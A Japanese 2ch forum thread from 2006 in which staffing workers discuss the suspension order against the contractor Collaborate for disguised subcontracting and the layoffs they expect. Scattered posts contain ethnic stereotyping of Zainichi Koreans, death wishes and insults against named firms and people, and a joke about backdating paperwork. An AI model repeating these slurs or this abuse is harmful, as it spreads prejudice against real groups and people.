704 :名無しさん@そうだ登録へいこう:2006/10/08(日) 15:31:49 ID:ApQ7Vm/GO
ちなみにイナックスはコラボを切ったそうですよ。

705 :名無しさん@そうだ登録へいこう:2006/10/08(日) 15:35:05 ID:kRyVl76q0
労働局!せっせとカラ出張で裏金つくりかよ!税金かすめ取りのドロボーが偉そうになにいってんだ?
マジで日本はクソだらけだな!アホ安部は池田大○と密月だしよ、泣けてくるよ


706 :名無しさん@そうだ登録へいこう:2006/10/08(日) 16:01:11 ID:0VUw9Ns60
>>705
自民党は公明党と選挙協力しなければ勝てない。
逆に公明党は選挙協力の見返りに与党として影響力を誇示できる。

そんなのはどうでもいいけれど、ホント労働局はふざけたことしてるな。
偽装請負はダメだけど、裏金作りはいいと思ってやってんのかな?
情けないないな公務員って。

バレなきゃいいと思ってんなら偽装がバレなきゃいいと思ってる
請負会社と同じじゃん。
いっそのこと労働局も全国で自主点検したら?
それとも業務停止?

707 :名無しさん@そうだ登録へいこう:2006/10/08(日) 16:08:28 ID:ycf06jZR0
ここは労働局のだめっぷりを語るスレや板じゃないのだが

適切な板は↓

公務員
http://society3.2ch.net/koumu/

708 :名無しさん@そうだ登録へいこう:2006/10/08(日) 16:11:25 ID:Zy8UKWwsO
北海道から失礼します。千歳市に有るダイナッ〇スは、今後どう成るか?ご存知の方居ませんか?

709 :名無しさん@そうだ登録へいこう:2006/10/08(日) 17:58:33 ID:1ltL/DmEO
↑わたなべのりをにきけば?

710 :名無しさん@そうだ登録へいこう:2006/10/08(日) 18:08:01 ID:bYomKG/fO

旧タイアップ元水戸の
コハタ 書き込め



711 :名無しさん@そうだ登録へいこう:2006/10/08(日) 18:35:58 ID:Vf9pdQSZO
ケ○○房とNにし??うらでマソが動いているのご存じですか?

712 :名無しさん@そうだ登録へいこう:2006/10/08(日) 19:02:12 ID:cFRZkr1O0
クリスタルつぶせよ。辞めて裁判してやれ。

713 :名無しさん@そうだ登録へいこう:2006/10/08(日) 19:03:06 ID:0gKWAMl+O
マソ動いてるんだ
金まで動いてんだ…
それは真実ですか?
真実ならえらいこっちゃな〜!!
偽装請負に…まで…


714 :名無しさん@そうだ登録へいこう:2006/10/08(日) 19:39:42 ID:ggA0MrwG0

なんのことやらわかりませんわかりやすく書いてください。m(_ _)m

715 :名無しさん@そうだ登録へいこう:2006/10/08(日) 20:25:31 ID:/9Z4nv5z0
>>685
>年450…貰いすぎですね!でもやはり年600くらいですね。

遅レスだがワロタww
まるで日本語が読めてねーよww

716 :名無しさん@そうだ登録へいこう:2006/10/08(日) 20:36:09 ID:n4OcJHdH0
派遣契約に切り替わっても管理者所長等のリストラはない。
底辺妄想乙

717 :名無しさん@そうだ登録へいこう:2006/10/08(日) 20:43:15 ID:q3I7y5sb0
川口さん辞めてからボロボロだな。なんでやめはったん?

718 :名無しさん@そうだ登録へいこう:2006/10/08(日) 20:44:18 ID:/9Z4nv5z0
首切りはないが、配置換えや降格は思いっきりあり得るな。
特に管理者→イチ営業、所長→イチ主任は、100人規模であるだろ。

719 :名無しさん@そうだ登録へいこう:2006/10/08(日) 20:54:04 ID:n4OcJHdH0
>>718
主任て何?w
まぁさ。これまで請負契約としてやってきた事業所等がそれは派遣ですよ
って見なされて派遣契約に切り替わるわけでしょ。だからそのまま管理者
は居座ると思われるが。メーカー側がわざわざこんな阿呆共の管理したが
るとは思えないし管理者がいても違法なわけではないしな。
解約撤退なら管理者は自分からやめるかもね。
妄想してないで嫌なら転職しなよw

720 :名無しさん@そうだ登録へいこう:2006/10/08(日) 20:59:42 ID:0gKWAMl+O
>>714この程度すらわからないの?

714さん『しゃかいの、おべんきょうを、しなおしといで』小学1年生さん


本当に金が動いてるなら偽装請負より激しく取り上げられるんじゃないかな。
どこから情報仕入れたの?真実なの?マジレスよろ



721 :名無しさん@そうだ登録へいこう:2006/10/08(日) 21:05:57 ID:/9Z4nv5z0
>>719
立場なに?内勤社員?技能社員?

722 :ゴミ:2006/10/08(日) 21:07:39 ID:eNm4+Rij0
デジタルインフォメーションテクノロジはゴミ 全レス 最新50件 リロード トップ ▲01▼
1  &◆6FhAGDKQ   2006/10/08(Sun) 05:53
デジタルインフォメーションテクノロジは人身売買のクズ糞会社
偽装、多重派遣ゆうにおよばず。最低のクズくそ潰れちまえ!
2  &◆6FhAGDKQ   2006/10/08(Sun) 05:55
上場なんてできるはずがない。
潰れろ潰れろ!
蛆虫集団
3  &◆6FhAGDKQ   2006/10/08(Sun) 05:56
川崎のDITは級オートマトン
どっちもクズ会社
潰れろ!
全員死ね。なかいねしね
4  &◆6FhAGDKQ   2006/10/08(Sun) 12:52
クリスタルの兄弟会社でしょ。ここ
5  AAAAA   2006/10/08(Sun) 13:19
テイケイとどっちがひどいんですか?

723 :名無しさん@そうだ登録へいこう:2006/10/08(日) 21:08:42 ID:sg4+CM14O
アホばっかり…

724 :名無しさん@そうだ登録へいこう:2006/10/08(日) 21:11:15 ID:/3TI6+2lO
>>719派遣契約で常駐管理を置くほどコラボさんは儲かっているんですね。大したもんだ。

725 :革命戦線ギロチンファミリー:2006/10/08(日) 21:53:37 ID:ch2VvV9k0
■ 時代は新左翼 時代は新左翼 時代は新左翼 時代は新左翼 ■
■ 時代は新左翼 時代は新左翼 時代は新左翼 時代は新左翼 ■
■ 時代は新左翼 時代は新左翼 時代は新左翼 時代は新左翼 ■
■ 時代は新左翼 時代は新左翼 時代は新左翼 時代は新左翼 ■
■ 時代は新左翼 時代は新左翼 時代は新左翼 時代は新左翼 ■
■ 時代は新左翼 時代は新左翼 時代は新左翼 時代は新左翼 ■
■ 時代は新左翼 時代は新左翼 時代は新左翼 時代は新左翼 ■
■ 時代は新左翼 時代は新左翼 時代は新左翼 時代は新左翼 ■
■ 時代は新左翼 時代は新左翼 時代は新左翼 時代は新左翼 ■
■ 時代は新左翼 時代は新左翼 時代は新左翼 時代は新左翼 ■

726 :名無しさん@そうだ登録へいこう:2006/10/08(日) 22:24:30 ID:l/dUYFdy0
「もう負けちゃったからリセットでいいや」という層ほど、左翼に流れやすい。
そういうのが国中で起こっちゃったのが共産国家。

727 :名無しさん@そうだ登録へいこう:2006/10/08(日) 22:29:45 ID:n4OcJHdH0
>>721
お前は?
>>725
左翼いらん、つーか板違いじゃどっか逝け

728 :名無しさん@そうだ登録へいこう:2006/10/08(日) 22:44:00 ID:l/dUYFdy0
>>727
さすがに疑問文に疑問文で返すのが2回重なるとウザいぞ。
答える気がないならカキコすんなよ。

729 :名無しさん@そうだ登録へいこう:2006/10/08(日) 22:45:12 ID:ey/gCsfV0
 最近はTV・雑誌でも派遣・請負の問題点が指摘されており、
ハローワークでも偽装派遣が多数発見され改善の動きも見られます。
ようやく世間も派遣業の問題点、違法性を真剣に考え始めたと思われます。
勢いに乗って派遣業(奴隷商)の撲滅徹底を推進しましょう。我々は勝利する!

 ★★★派遣・請負は現代の奴隷制度です★★★

企業は人件費削減のために不安定な雇用を好んでいます。
日本の技術伝承、技術力向上を阻害している現状もあります。
また、派遣会社(奴隷商)は偽装派遣等の違法行為をしています。
労働者の安定した将来の為に断固として戦いましょう!徹底抗戦です!

  ★★★派遣撲滅3ナイ運動を広めよう!★★★
  「登録しない」「関わらない」「人に勧めない」


派遣撲滅運動を広めましょう!3ナイ運動を実施しましょう!

http://school5.2ch.net/test/read.cgi/job/1159114972/


730 :名無しさん@そうだ登録へいこう:2006/10/08(日) 23:04:20 ID:dhzwwQqk0
718
正解

731 :名無しさん@そうだ登録へいこう:2006/10/08(日) 23:45:19 ID:RpkaRT4D0
次スレ・・・。コラボレートPart11〜事業停止命令さえ守れない?〜
でお願いします。
ヒロシです・・・・・・・・・・・・・。

732 :週刊実話:2006/10/09(月) 00:01:26 ID:NvQtefkH0
次はグッドウィルの番。
当局もすでに目をつけている。

733 :名無しさん@そうだ登録へいこう:2006/10/09(月) 00:15:29 ID:bcvpc9Xv0
グッドウィルとか

あとフルキャス、

こないだテレビ出てた
ABCナントカ、まとめて潰れてねwwwwwwwwww

最終的には 系手無、ニッケンソーギョーとか大手も潰れてねwwwwwww

734 :名無しさん@そうだ登録へいこう:2006/10/09(月) 00:27:55 ID:f5q5Dete0
栗廃る系は全て氏ね!


735 :名無しさん@そうだ登録へいこう:2006/10/09(月) 01:42:01 ID:i4n95AvU0
構内請負は止めると言いつつ
ほとぼりが冷めるのを待つ作戦

736 :グッドウィル最高:2006/10/09(月) 02:01:27 ID:BBnkqOOeO
グッドウィルは大丈夫だよ!派遣免許持ってるし!建築に手配してないし!

737 :名無しさん@そうだ登録へいこう:2006/10/09(月) 04:22:46 ID:9r/8Ax6P0
勤務先の他の派遣会社に移る様に言われたが、そこもこの前まで同じ偽装会社だったので嫌だな・・

738 :名無しさん@そうだ登録へいこう:2006/10/09(月) 04:33:59 ID:XiVbpXKTO
>678≒事実

>685=基地外

739 :名無しさん@そうだ登録へいこう:2006/10/09(月) 07:31:39 ID:axuA1cKwO
今回は、管理者ひとりあたりリストラすると報償金いくら出るのだろうか。
2万くらいかな。事務所の事務員は、1万くらいか。またまた営業所長稼ぎどきだな。

740 :名無しさん@そうだ登録へいこう:2006/10/09(月) 08:05:46 ID:LLo/62060
>>739
内勤じゃないヤツが内勤のふりをして書き込んでも、内容があまりにも
バカだから一発でバレてるよw

741 :名無しさん@そうだ登録へいこう:2006/10/09(月) 08:06:53 ID:s1lr17Z00
 
 すごい!  すごい!  すごい!

http://up.nm78.com/data/up112027.jpg

 すごい!  すごい!  すごい!
 

742 :名無しさん@そうだ登録へいこう:2006/10/09(月) 09:03:08 ID:t20T5kXV0
グロ乙

743 :名無しさん@そうだ登録へいこう:2006/10/09(月) 10:27:21 ID:os/gNbMfO
>>678その大きな苦労を管理に割り振り、管理はそれをほとんどこなさず、現場に迷惑をかけ、どんどん人材が逃げていくという仕組みですか
管理の仕事は人材を用意し、欠員などの理由でメーカーに怒られるだけというのが現状ですね。マゾヒストならではの仕事ですか。
そしてその愚痴を聞く事が所長の仕事ですか。
えらく大変な仕事なんですね。
生産には全く貢献していないのに…
少しはMさんを見習うように!

744 :名無しさん@そうだ登録へいこう:2006/10/09(月) 10:41:36 ID:7mnLIMMwO
MさんMさんって、お前は金正日を崇拝する北朝鮮の民衆か?っつーの

745 :名無しさん@そうだ登録へいこう:2006/10/09(月) 10:46:54 ID:dr8k9DOu0
>>695
自動車部品か?
俺は光エピ事業部にいたぞ。
日勤の時はサンドイッチのライトセットばかり食ってた。
今の管理者、誰だ?

746 :名無しさん@そうだ登録へいこう:2006/10/09(月) 11:03:10 ID:LLo/62060
>>743
Mさんが誰なのか、そもそも実在の人物なのかは知らないけど、まず

>現場に迷惑をかけ

ここが気になるな。一体何をされたんだ?語らないと何も
解決されないぞ。

・・・あと、現場からクリの内勤になって成功できるヤツは10%に
満たないのは本当。お前も、その他力本願な思考では絶対に勤まらんな。

747 :名無しさん@そうだ登録へいこう:2006/10/09(月) 11:11:37 ID:LLo/62060
昔、俺の所の現業で「俺、営業やったら結構すごいと思うんですよ」という
奴がいたから、興味本位で営業にしてやったヤツがいるのよ。で、1年やっても
何の契約も有望も取れないから再度現場に送り返してやった。

何でやれると思ったのか聞くと、「俺、バイトの時におばさんとかにウケが
良かったんですよ。同じ要領かと思って」だと。もうね、お前、履歴書
返してやるからとっとと消えろと。お前と同等以上の格の人間が何十社分も
営業に押しかけてて、ただの1社しか勝てないって状況下で、お前が
そんな考えで勝てると思ってんのか、と。

ちなみにそいつ、俺を見て「所長にまではなりたくないですね」とまで
ぬかしてたな。ヒラ営業でもキツいが、所長とか課長次長あたりになると
もう常人にはちょっと勤まらんもんな。いい意味でも悪い意味でもw

748 :名無しさん@そうだ登録へいこう:2006/10/09(月) 11:52:56 ID:YgU8eD5bO
「ここのは構内請負撤退に含まれてないから」っていわれたけど…場所によってそんなんあるの?

749 :名無しさん@そうだ登録へいこう:2006/10/09(月) 11:57:59 ID:LLo/62060
「さすがにここまでやれば訴えられまい」という事業所はいくつかある。

750 :名無しさん@そうだ登録へいこう:2006/10/09(月) 12:06:14 ID:hbIVaLAU0
核実験キタ━━━━(゚∀゚)━━━━!!

751 :名無しさん@そうだ登録へいこう :2006/10/09(月) 14:24:10 ID:zFahBVo40
現場の契約社員はどうするんだろー?

752 :名無しさん@そうだ登録へいこう:2006/10/09(月) 14:32:04 ID:7mnLIMMwO
>>747そいつの営業能力営業センスを吟味する事なく営業職に引き上げたお前サンが間抜けだという話だな?お前サンの間抜け自慢話だな?

753 :ハンニャ:2006/10/09(月) 14:44:39 ID:xFpnxVHwO
クリスタルグループにはコラボレート(業務請負)の他に有名なとこではパソナ(人材派遣)・メイテック(技術者派遣)・フルキャスト(軽作業派遣)とあります。コラボレートはあまり自分の中ではいいイメージがないけど、パソナやメイテック、フルキャストはどう?

754 :名無しさん@そうだ登録へいこう:2006/10/09(月) 14:52:07 ID:XBWDTBQWO
現場から内勤で成功なんたらって書いてる奴がいるが、栗での成功って何だ?
どうなれば成功なんだ?

755 :名無しさん@そうだ登録へいこう:2006/10/09(月) 14:56:38 ID:LLo/62060
>>752
まあそういう事になるな。何せ本当に通用しなかったからな。
>>754
格差だ何だ言ってんだから、普通に給料貰い続けられるレベルになれば
成功なんじゃね?滅多にいないけどさw

756 :名無しさん@そうだ登録へいこう:2006/10/09(月) 15:14:35 ID:N9EgM/MKO
各営業所で業務改善って何してる?偽装請負を派遣に切り替えるだけかな?

757 :名無しさん@そうだ登録へいこう:2006/10/09(月) 15:17:48 ID:XBWDTBQWO
っつーかよ、どうして親会社のクリを営業停止にしないんだよ。
子会社は親会社の指示を受けて経営してるんだぜ。
元を絶つ意味で、全クリグループ営業停止命令にしろよ。
本体も叩けば色々出てくるよ。

758 :ハンニャ:2006/10/09(月) 15:20:23 ID:xFpnxVHwO
パソナ・メイテック・フルキャストは違うみたいです(汗。けどグループに160社以上あるみたいですね。どんな会社があるか分かる人居たら教えてください

759 :名無しさん@そうだ登録へいこう:2006/10/09(月) 15:24:58 ID:Ux21i8vk0
見た?
http://www.youtube.com/watch?v=DQiyJJyvFVI


760 :名無しさん@そうだ登録へいこう:2006/10/09(月) 15:25:38 ID:YgU8eD5bO
結局また社名かえて逃げるのかね。
請負先の会社の中に営業所があるから撤退しなくていいってこと?けどこの現状は偽装請負そのものでしょう。

761 :名無しさん@そうだ登録へいこう:2006/10/09(月) 15:39:52 ID:VmQq52ye0
>>757
 叩かなくても大丈夫。拾うだけでいいのに、見ないふりしてるだけ。

762 :名無しさん@そうだ登録へいこう:2006/10/09(月) 16:34:12 ID:os/gNbMfO
コラボがニュースに報道されたらいいんだけどね
偽装請負で新聞に取り上げられ、○○○○○まで動いてましたってな
それと、しぶとい会社やね。社会のゴキブリやね。
派遣になるのに管理者なんているか?所長なんているか?
必要だとしても○○兼現場作業員ってなとこだろ
あの人ならできるけど他は無理だね
履歴書にコラボって書くのが恥ずかしいよ…人生の傷だな
早く潰れてください。面接で説明しやすくなるので。(株)コラボレート潰れてください

763 :名無しさん@そうだ登録へいこう:2006/10/09(月) 18:16:17 ID:LLo/62060
実際、潰れない(潰されない)のがおかしい会社だとは思うけどな。
新卒をここまで貪り食っている会社は、社会にとって害悪。

764 :名無しさん@そうだ登録へいこう:2006/10/09(月) 19:14:28 ID:ODg0UItC0
つぶれはしないんじゃないの?
だって消費者を人間と思わないMitsubi○ motorsだってつぶれないじゃん。


765 :名無しさん@そうだ登録へいこう:2006/10/09(月) 19:50:41 ID:bcvpc9Xv0
・メイ○ック(技術者派遣)って何か死神に魂売るみたいなイメージだなw

自分の技術安売りして、技術畑の人なのにプライドないの?って思ってしまうw

766 :名無しさん@そうだ登録へいこう:2006/10/09(月) 20:50:59 ID:s1lr17Z00

パチンコとサラ金と派遣は

たいてー在日朝鮮人が経営者



767 :名無しさん@そうだ登録へいこう:2006/10/09(月) 22:13:12 ID:2T7uiPGY0
大分キャノンの大在事業所、さと●所長は何をしてるの??

768 :革命戦線ギロチンファミリー:2006/10/09(月) 22:57:43 ID:MEIM/iLT0
■ 若者よ、立ち上がれ、戦え! 若者よ、立ち上がれ、戦え! ■
■ 若者よ、立ち上がれ、戦え! 若者よ、立ち上がれ、戦え! ■
■ 若者よ、立ち上がれ、戦え! 若者よ、立ち上がれ、戦え! ■
■ 若者よ、立ち上がれ、戦え! 若者よ、立ち上がれ、戦え! ■
■ 若者よ、立ち上がれ、戦え! 若者よ、立ち上がれ、戦え! ■
■ 若者よ、立ち上がれ、戦え! 若者よ、立ち上がれ、戦え! ■
■ 若者よ、立ち上がれ、戦え! 若者よ、立ち上がれ、戦え! ■
■ 若者よ、立ち上がれ、戦え! 若者よ、立ち上がれ、戦え! ■
■ 若者よ、立ち上がれ、戦え! 若者よ、立ち上がれ、戦え! ■
■ 若者よ、立ち上がれ、戦え! 若者よ、立ち上がれ、戦え! ■

769 :名無しさん@そうだ登録へいこう:2006/10/10(火) 01:27:47 ID:8m6BCo5sO
埼玉・・・SA〇〇?市  NHK?いや鷲?いやいやイーグル?そうじゃなくて目苦都〇〇!  
 以下〇さん頑張れ!!! 今が好機!名前が変わっても本質は変わらないコラボを排除してください    以下〇で働きたい人いっぱいいます!私もそう。

770 :名無しさん@そうだ登録へいこう:2006/10/10(火) 01:38:31 ID:Mthpk2xD0

>>766
日本人が劣ってるってことねw

771 :名無しさん@そうだ登録へいこう:2006/10/10(火) 02:32:45 ID:Xuhu5EgJO
>>769 M*K*PNで毎日汗水たらして働いて、コラボに搾取されてるお仲間ハケーン

772 :名無しさん@そうだ登録へいこう:2006/10/10(火) 02:41:14 ID:mpc1UGs+0
 
北朝鮮の核実験で 在日どもの生活保護が 凍結されたら

 ニート向け 生活保護枠が 拡大するかもー

  全国のニートよ 団結しよー 要求すれば通るぞ

    ニート手当法案が 国会を通るぞ

      ニートには 毎月17万円 支給だよ  -y(^。^)。oO○

773 :名無しさん@そうだ登録へいこう:2006/10/10(火) 05:12:55 ID:R1/Ldz1zO
また、今週もヒマだね。東洋経済の記事でも読むかぁ〜。
でもマジでリストラとか異動乱発されそうだな。請負が派遣にかわる程度で、終われば、社員としてはありがたいが。


774 :名無しさん@そうだ登録へいこう:2006/10/10(火) 07:27:23 ID:zvRRlat60
請け負いから派遣契約にかえれば今までどおり。国のお墨付きなんだから。メーカーの反対で一部事業所で派遣への切替が間に合わなかっただけ。偽装請け負いって騒いでるが合法的な偽装請け負いが製造派遣しかも3年なんだから

775 :名無しさん@そうだ登録へいこう:2006/10/10(火) 07:36:09 ID:mpc1UGs+0

中国の低賃金労働者が 無尽蔵に存在する限り

 日本の単純労働は 限りなく減少する

  頭を使って 差別化できる人は 楽勝さ  -y(^。^)。oO○



776 :名無しさん@そうだ登録へいこう:2006/10/10(火) 09:19:54 ID:dbqGrPG60
>>764
あっちはまだ株式公開企業だからダメージが本体に確実に及んでいる。

777 :名無しさん@そうだ登録へいこう:2006/10/10(火) 09:29:44 ID:aMkSbVev0
今なら会社都合で辞めさせてもらえるからいんじゃないの?

778 :名無しさん@そうだ登録へいこう:2006/10/10(火) 11:03:40 ID:nC1cXE6RO
派遣が三年になるには条件があり、派遣先の労働組合が了承した時のみです。
基本的には派遣=一年です。

779 :シス:2006/10/10(火) 12:11:19 ID:bFAs9cuMO
さっき職場に管理者と一緒に新人が現場見学に来たよ。これってOKなの?

780 :名無しさん@そうだ登録へいこう:2006/10/10(火) 13:02:56 ID:nES97s4d0
もうダメでもいいよ

781 :名無しさん@そうだ登録へいこう:2006/10/10(火) 16:28:05 ID:1VgQHzQM0
>>778
ロークミなんてほとんど持ってない弱小のほうが多いだろ?
実質1年ってこったw

782 :名無しさん@そうだ登録へいこう:2006/10/10(火) 16:48:26 ID:jOQgmSwhO
>772
バカが、ニートに発言権なんぞないわ。なにがニートじゃ。自分を棚に上げて他人非難しかしなくてよ。横文字でニートなんか言ってるから俗物が調子づくんだよ。単なるゴミだろ?人並みに活動してはじめて、物言え。なんもせずにグダグダ言ってんじゃねー。

783 :名無しさん@そうだ登録へいこう:2006/10/10(火) 17:27:20 ID:M7Zfdde+0

>>781
ロークミがなければ職場を代表する者でOKな罠

784 :名無しさん@そうだ登録へいこう:2006/10/10(火) 19:25:17 ID:2W0NEN1N0
そもそも、政府がニート対策など練る方がバカらしい。その金で
地域の図書館でもキレイにしろっての。
「少子化なので学校でAV見せてSEXしたくなるよう刺激します」
なみの、バカな政策だよ。

785 :名無しさん@そうだ登録へいこう:2006/10/10(火) 19:30:39 ID:mpc1UGs+0
>>782
ヒキだな

786 :名無しさん@そうだ登録へいこう:2006/10/10(火) 19:40:08 ID:CWCOzFx9O
コラボレートは日亜化学に入ってないのか〜
徳島労働局に偽装請負で告発されたぞ〜

787 :名無しさん@そうだ登録へいこう:2006/10/10(火) 19:46:00 ID:Z6+lzOUa0
松下が委託しているAという請負会社へ派遣会社Bより一般労働派遣として
派遣されています。
この場合は違法なのでしょうか?
ちなみに、AとBは請負契約です。
私と派遣会社は派遣契約です。

788 :名無しさん@そうだ登録へいこう:2006/10/10(火) 19:56:29 ID:2W0NEN1N0
>>787
違法か合法かというより、あんたは今以上の生活ができるように
気を配ってればいいんだよ。

789 :名無しさん@そうだ登録へいこう:2006/10/10(火) 20:14:58 ID:CQ4HZTT3O
コラボなんかより待遇のいい派遣会社なんかなんぼでもあるで
コラボなんか、やめたれやめたれ!
コラボなんかに残れば残るほど人生無駄にしょんやで〜
やめたらんかいや

790 :名無しさん@そうだ登録へいこう:2006/10/10(火) 20:15:45 ID:yxLHuJ1kO


791 :名無しさん@そうだ登録へいこう:2006/10/10(火) 20:36:32 ID:y/P5ATrx0
現場仕事の派遣は最悪だ。
派遣先の馬鹿社員に奴隷扱いにされる。
現場仕事しかしたことが無いのに頭いいと
勘違いしてる馬鹿社員が多い。



792 :名無しさん@そうだ登録へいこう:2006/10/10(火) 20:41:12 ID:Ciujr5aJ0
労働行政などの不満や取り扱いに疑問とかあれば
総務省行政評価局へ。
http://www.soumu.go.jp/hyouka/index_c.htm
街頭相談の季節がやってきました。

みんなでガンガン行こうぜ

793 :名無しさん@そうだ登録へいこう:2006/10/10(火) 20:47:20 ID:BFZft066O
派遣や請負に勤務=ニートっつうのは差別だよな
引き籠もってて出てこない、仕事なんてする気ありません!がニートだろ?
会社との契約の仕方の違いが有ったって、まともに働いててニート呼ばわりされる筋合いねーよ
勤務先を選び損ねただけさ
ま、うちの事業所は偽装じゃない請負だから何の影響もないわけだが

794 :名無しさん@そうだ登録へいこう:2006/10/10(火) 20:48:57 ID:G+sniqWo0
>>793
偽装じゃない業務請負からも撤退するらしい。
何せ請負って言うだけで、悪のイメージになっているから。

795 :名無しさん@そうだ登録へいこう:2006/10/10(火) 20:53:33 ID:7pahMdWBO
>>771
ナカーマ

796 :名無しさん@そうだ登録へいこう:2006/10/10(火) 21:08:13 ID:SSU5qLdZ0
コラボぐらいにしか雇ってもらえない人も
いるだろうに。

請負まじかだった工場に新たに別の派遣会社が入ってきたらしい。
請負の話はお流れになるのだろう。

新しく入ってきた派遣会社にコラボの奴らがスライドするのかな。
そのとき契約されない奴らもたくさん出るだろうな。
50代の仕事全然しない親父とか、若い男にはやさしかったおばちゃんや
変なのばっかいるし。

毎日同じことの繰り返しでストレスがたまる仕事だから
他人の揚げ足を取ったり心無い言葉で傷つけたり
でもしてないとやってられなかったんだろう。

変なのばっかといえばそこの工場の社員も変なのばっかだったけどね。


797 :名無しさん@そうだ登録へいこう:2006/10/10(火) 21:15:47 ID:M+rKhAExO
>>796
コラボとしては、変な連中を駆逐するチャンスだからな

798 :名無しさん@そうだ登録へいこう:2006/10/10(火) 21:26:10 ID:rd7cp+9s0
偽装だったからこそ長く働けてるのにこの騒ぎでニート量産。

799 :名無しさん@そうだ登録へいこう:2006/10/10(火) 21:47:50 ID:0e6ZZoZMO
今、F県K工場で働いてるんだけど噂では11月いっぱいで撤退って聞いた。撤退になった後が不安だ…今さらA〇Cとかにも行きたくないしコラボは楽で良かったよ。

800 :名無しさん@そうだ登録へいこう:2006/10/10(火) 22:06:48 ID:zRgXivyr0
ほら見ろ、こういうヤツの働き口を、「派遣使うな!請負やめろ!」と
盲目的な発言繰り返すニートのせいで消す羽目にやってしまった。

801 :名無しさん@そうだ登録へいこう:2006/10/10(火) 22:28:01 ID:CQ4HZTT3O
そんなん関係ないんじゃいや
コラボが潰れさえすればバンザイなんじゃ
コラボはよ潰れろや
潰れろ潰れろ
ゴキブリみたいにしぶとぅ生きとらんと、はよ死なんかい!
倒産してまえ

802 :名無しさん@そうだ登録へいこう:2006/10/10(火) 22:38:28 ID:UnUjP56c0
仕事の出来るやつが残って、そうでないものはクビ。
どこの会社もそうであってほしいよ。

803 :名無しさん@そうだ登録へいこう:2006/10/10(火) 22:52:32 ID:LvkfT3dp0
>>802
ここは会社じゃないから、仕事の出来るオレはクビになったとでも言いたいのか?

804 :名無しさん@そうだ登録へいこう:2006/10/10(火) 22:55:21 ID:rd7cp+9s0
仕事が出来ないからコラボなんじゃないの?
だからみんなクビなんだね。

805 :名無しさん@そうだ登録へいこう:2006/10/10(火) 22:57:34 ID:+pdIF3zM0
普通は仕事ができる奴から辞めていくわな

806 :名無しさん@そうだ登録へいこう:2006/10/10(火) 23:06:28 ID:zRgXivyr0
S級・・・残る
A級・・・辞める
B級・・・辞める
C級・・・辞められない


(S級は「超優秀な社員」、A級は「広く一般的な優良社員」)
まあS級の社員ってあまりいないわなぁ・・・

807 :名無しさん@そうだ登録へいこう:2006/10/10(火) 23:12:24 ID:M+rKhAExO
ともかく、違法はいかんよ

808 :名無しさん@そうだ登録へいこう:2006/10/10(火) 23:18:32 ID:mpc1UGs+0

法律すれすれば 一番儲かる アルヨ   -y(^。^)。oO○

809 :名無しさん@そうだ登録へいこう:2006/10/10(火) 23:24:27 ID:CQ4HZTT3O
>>806
オマエが言うS級なんか1人もおらんがい!!
何をとぼけた事を…


810 :名無しさん@そうだ登録へいこう:2006/10/10(火) 23:30:14 ID:LvkfT3dp0
多分、「世襲[sesyu~]」のSだろ

811 :名無しさん@そうだ登録へいこう:2006/10/10(火) 23:54:17 ID:bP61vACQO
今日コラボからTELきた。先月の面接受かったみたいだが二週間も待った。


812 :名無しさん@そうだ登録へいこう:2006/10/11(水) 00:55:31 ID:vA6y0fVrO
S県S市。社保も国保も入ってないような奴が管理のトップだ。いいのかそんなんで!あ、今回の件で強制加入だっけ。そ、あいつ! しかも社員じゃないし  変な会社。

813 :名無しさん@そうだ登録へいこう:2006/10/11(水) 01:01:32 ID:vA6y0fVrO
事務所と現場を掛け持ちしてる管理ってかわいそうなくらい使われてる。我々現場の方がまだまし。でも事務所オンリーの管理って私腹を肥やしているそうな どこもそうなのかな?うちだけかな?S県S市からでした〜

814 :名無しさん@そうだ登録へいこう:2006/10/11(水) 02:09:13 ID:hEFJmbmL0

人手不足だってよ↓
http://headlines.yahoo.co.jp/hl?a=20061005-00000182-mailo-l36

コラボより扱いが小さい?
http://headlines.yahoo.co.jp/hl?a=20061006-00000415-yom-soci

売るほうが悪いのか、買うほうは無罪?
http://headlines.yahoo.co.jp/hl?a=20061006-00000009-abc-l27

815 :名無しさん@そうだ登録へいこう:2006/10/11(水) 02:31:41 ID:y7soWJwIO
>>812
>>813

喪血憑〇! 所長よりエラソに「いかにも仕事してます」ってカオしてサボりまくり。
現場では全然使えない奴のクセに。
腰巾着の坐魔〇と一緒にウセテくれ!

816 :名無しさん@そうだ登録へいこう:2006/10/11(水) 05:11:36 ID:Dz2b8CSwO
とにかく、法律守れよ!在日企業!


817 :名無しさん@そうだ登録へいこう:2006/10/11(水) 06:03:00 ID:budpYwTqO
コラボが法律守るわけがない
金に目がくらんだ馬鹿共が仕切っているから
金が欲しけりゃ働け馬鹿共
ベンチャラばっかこきやがって


818 :名無しさん@そうだ登録へいこう:2006/10/11(水) 10:06:35 ID:ZJ7VNBga0
所長か管理か現場かって議論が沸き起こってるが、結果から言うと
・所長が管理に降格になっても、十分やっていける
・所長が現場に降格になっても、十分やっていける
・管理が所長に昇格になっても、必ず通用するとは限らない
・管理が現場に降格になっても、十分やっていける
・現場か営業に昇格になっても、必ず通用するとは限らない
・現場が管理に昇格になっても、たいていはうまくいかない

よって所長>管理>現場 は確実だな。特に事務所常駐の管理などが活躍して
解約を免れたケースなどはほとんど存在しない為、あまり意味あるポジションとは
思えない。

819 :名無しさん@そうだ登録へいこう:2006/10/11(水) 10:15:02 ID:0Dozn3fC0
>>802 半○はクビ確定だな

820 :名無しさん@そうだ登録へいこう:2006/10/11(水) 10:44:33 ID:yAj6gQK10
業務停止以降 スレ内容も乏しい・・・
ネタないの?

821 :名無しさん@そうだ登録へいこう:2006/10/11(水) 12:04:17 ID:KTmQL1ReO
ネタ? 営業停止だから早く帰って 風俗行って 日々定時終わり 最高だな 業務停止バンザイ 別に給料出ない訳じゃないしね

822 :名無しさん@そうだ登録へいこう:2006/10/11(水) 13:02:00 ID:9Zp44jf+0
コラボに限らず殆どの上請負・派遣会社の構内請負は違法性がある。 今回はコラボレートだが内容は何処も一緒
企業側は請負をやりたがり、派遣会社は派遣をやりたい。 悪いのはどこか解るよね。

823 :名無しさん@そうだ登録へいこう:2006/10/11(水) 14:09:03 ID:WPLhRMJv0
>>820
業務停止を守っていない系内部告発募集中w

824 :シス:2006/10/11(水) 17:47:34 ID:eYpVl2OCO
うちの職場、今朝1人新人が入って来たよ。今日1日は受け入れ教育で明日から現場に配属だよ。営業停止処分中にこれってOKなの?

825 :名無しさん@そうだ登録へいこう:2006/10/11(水) 18:01:55 ID:walKJw2NO
書面上の日付を変えればOK!

826 :名無しさん@そうだ登録へいこう:2006/10/11(水) 18:37:21 ID:NZmguPnT0
やはり、やる事が違うね。

